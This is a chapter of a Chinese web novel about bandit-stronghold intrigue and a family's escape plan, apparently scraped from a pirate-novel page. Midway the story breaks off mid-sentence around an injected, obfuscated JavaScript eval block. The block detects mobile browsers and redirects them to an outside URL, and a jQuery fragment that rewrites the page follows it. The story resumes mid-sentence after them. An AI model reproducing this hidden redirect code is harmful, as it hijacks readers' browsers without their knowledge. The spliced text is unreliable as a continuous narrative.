29. 第29章

    三公子被押走时,黑大当家也跟着去了那边。


    今夜发生了这事,黑大当家没什么心情再同新来的小娘子玩乐了。


    黑大当家看着三公子被押进了屋子后,叹了口气,打算顺便去见见三公子的母亲。三公子母亲的住所就在三公子的附近,为了便于照顾三公子。


    接下来的事就极其炸裂了。


    黑大当家在外边望见三公子母亲白夫人的屋子是亮着的,以为是下面的人特意去告诉了白夫人。所以,屋子里头亮,黑大当家以为白夫人给他准备了什么惊喜,怀着兴奋走了进去。


    拉开床纱,等到黑大当家瞧见了里面的情景,他的目眦欲裂。


    白夫人正和一个男子翻云覆雨,她的用彩线绣着花草的抱腹还挂在男子劲瘦的腰身上。两人忙活得大汗淋漓,不知何年何月。在这时候有人进来了,两人齐齐看向来人。


    “大当家,我~”白夫人一惊,瞬间眼变得通红,泪水像珠子似的一颗一颗掉落到床上,打湿了扯过来盖身的薄被。


    原本怒火中烧的黑大当家,瞧见自己宠爱已久的女子一副我见犹怜的模样,坚硬的心有些动摇。他打算饶过白夫人一次,年纪渐渐上来的他,心变得有点软了。若是,他年轻的时候,一定会把这对奸夫□□拉出去喂狼。


    他狠狠地盯着那个男子,要是人的眼睛里能发出激光,黑大当家的视线早在那个男子身上戳出成百上千的孔了。


    “把这个人带下去,让弟兄们好好地招待他!”黑大当家对着被惊动后,来查看的巡逻人员,一字一顿地吩咐道。


    “是。”巡逻人员就要把那个吓成烂泥的男人拖下去。


    那个男子眼见自己命都要没了,他急切地朝白夫人吼道,“你个贱人,你要是不救我。我就把堂堂山寨的大当家被自己的女人带了十几年的绿帽子,甚至还替人养便宜儿子的事传扬得寨子里上上下下都知道。”


    被捉奸后没多少着急的白夫人,听见这话,支撑不住身子,慌得瘫倒在地上。


    “哈哈哈!你们母子陪我一起下地狱吧!”


    黑大当家眯了眯眼,挥手让带那个男子下去的土匪停下,他走近,认真地打量那男子的脸。黑大当家越看那男子,他的表情就越严肃。


    “贱妇,从那馆子里出来后,也改不了那德行!”黑大当家一巴掌甩在了白夫人脸上。


    就算年老,还是较常人大的力气的黑大当家,挥出的那巴掌,把白夫人的牙齿都打出来了。一个带血的牙齿咕噜咕噜滚到了黑大当家的脚下。


    三公子之所以会出现在窗外,是因为他意外地收到了五公子去地牢捞贾唯康等人的消息,这个消息他从意外出现的纸条上得知。


    所以,三公子就是想要找黑大当家告密。带几个柔弱的女子,和捞几个青壮男子,这两个都是从地牢里捞人,但是明显后者的程度严重许多。


    在大燕朝的人眼里,男子是一个家的支柱,是壮劳力,他们的力量往往大于女子。所以,大燕朝征兵基本上征的是男兵,很少听到让女子上战场的。


    轻易放几个地牢的男子出去,关键那几个男子在地牢受过折磨,对山寨有恨。联想一下,把一个带仇恨的人放出来,不就是嫌自己事少,给山寨找麻烦吗?


    王乐知他们了解了事情的经过,回到了王慧月的居所。


    “所以,他是我表哥?”贾唯康张口结舌地看着五公子,嘴巴都差点掉到地上去了。


    “事情就是这么的戏剧化。”王乐知重重地点点头,表示事实确实如此。


    贾唯康在原地转着圈圈,“等等,让我缓缓。”


    王乐知坐在凳子上,没好气地说,“知道你在纠结什么?”


    “就是我们未曾蒙面的表哥,把我们一行人抓回了土匪窝。”王乐知继续说着。


    自己人坑了自己人啊!


    “那我该叫他什么?”贾唯康用手指指了指五公子,又转头瞧瞧王乐知,王氏以及王慧月。


    “表哥呗!你傻了?”王乐知一巴掌呼上了贾唯康的脸。


    挨了一掌的贾唯康,从桌下暗戳戳举起手,结结巴巴地提问“我们还要走吗?”


    对啊,王乐知他们原本是打算去附近最近的城池的,再辗转回凉州。他们几个人刚摸上官道,就被巧遇的五公子绑回了山寨。


    “走,反正我是要走的。这山寨,我都待了快二十年了。记得老家邯郸的这时候,采桑女她们早就在采桑叶了!”王慧月第一个站出来,斩钉截铁地表态要离开。


    王慧月被困土匪山寨这么些年,现在一听能走,就想回老家邯郸。除了外出探亲,她都是在赵国邯郸生活的,那有她儿时嬉戏的同伴,还有她与她去世的父母生活的痕迹。即使,那还有王慧月心怀怨怼的王氏一族。


    一个人无论在何地,过着怎么样的生活。自己的脑海里印象最深的地方,一定是自己长大的地方。


    王氏听见王慧月提起邯郸这个地方,索性建议道,“乐知,唯康,我们干脆也回邯郸,不去凉州了。”


    凉州位于大燕朝版图的西北角,路途着实有点远。王乐知他们刚从颍川出发,就走出县城几步,又是遇黄巾,又是进土匪窝的,再往凉州去,一路上不知要出多少事。


    而邯郸位于大燕朝的腹地,王乐知他们去邯郸避难。一来有当地王氏一族的照料,就算会受点气,好歹性命能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206246|163905||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得到保证;二来就是邯郸较凉州靠近大燕朝的政治中心上京,他们便于在邯郸得知上京城内的消息以及没准能与京中的贾良取得联系。


    王乐知紧接着询问道,“我们现在在哪里?”王乐知他们一行人是被蒙着眼上山来的,走了良久,又刚刚脱身于囹圄,对自己的位置很迷茫。


    在场的人一齐将目光投向五公子,因为只有他一个人能下山,“山寨在什么地方,这个我不太清楚。不过,我曾听父”


    五公子急忙改口,“大当家说过,他早年在南阳卖过草鞋。”


    “想不到土匪头子还会编草鞋啊?”贾唯康哂笑着望向五公子。


    “贾唯康,你”王乐知用眼神示意贾唯康安分点,眼珠子在他看过来后,转向五公子。


    黑大当家是五公子的父亲,既然黑大当家是土匪,那么五公子跟土匪也脱不了关系。贾唯康的确应该注意一下言辞,他们一行人还在土匪的地盘上,不能有亲戚关系就胡咧咧啊。


    亲戚是亲戚,还有血缘关系。可是这亲戚十多年都没联系了,情谊还剩多少,谁也不知道。


    何况土匪头子黑大当家是在场一个的丈夫,又是一个的父亲。王乐知一行人和他们论起关系的远近,指不定比不上那个黑大当家的关系近呢!


    王乐知拎起茶壶向杯子里倒点水,再把其他器具往旁边一推,在桌子上清出一片地方。


    王乐知离桌子一拳距离远近,用伸进茶杯沾水的手指,画出路线图。


    “你们看!”得益于王乐知的博闻广识,仅仅依靠对见过的地图的记忆,她就画出了南阳、颍川、凉州以及邯郸四个地方的位置。


    根据王乐知一行人从颍川出去,预计逃到凉州的经历。颍川已经有黄巾小队扫荡了,颍川不能去。


    “按照我们在颍川境内被抓后,蒙眼前是日头高照,到下地牢前是太阳初升,大约走了半个白天加一个黑夜。


    根据我们一行人又是疲惫,队伍里又是有女眷来看,我们的脚力绝对不快。


    如今处于南阳的话,这个山寨应该是在南阳邻近颍川的边界。”


    王乐知分析一行人具体所处的方位后,又指着前边画出的颍川,用指头点了点。


    “颍川不能去,我们就是从颍川逃出来的。就算颍川郡里只有少许黄巾军,我们这么点人也赌不起这概率!”


    再除去走淮阳,要经历砀郡,东郡,邯郸的线路。


    那么目前,最短的路线就是先穿过三川,越过河内,再到邯郸城。”南阳紧邻颍川的西南面,南阳越过三川,穿过河内,可达邯郸。


    突然间,山寨里里外外灯火通明,外间都是窸窸窣窣的声音。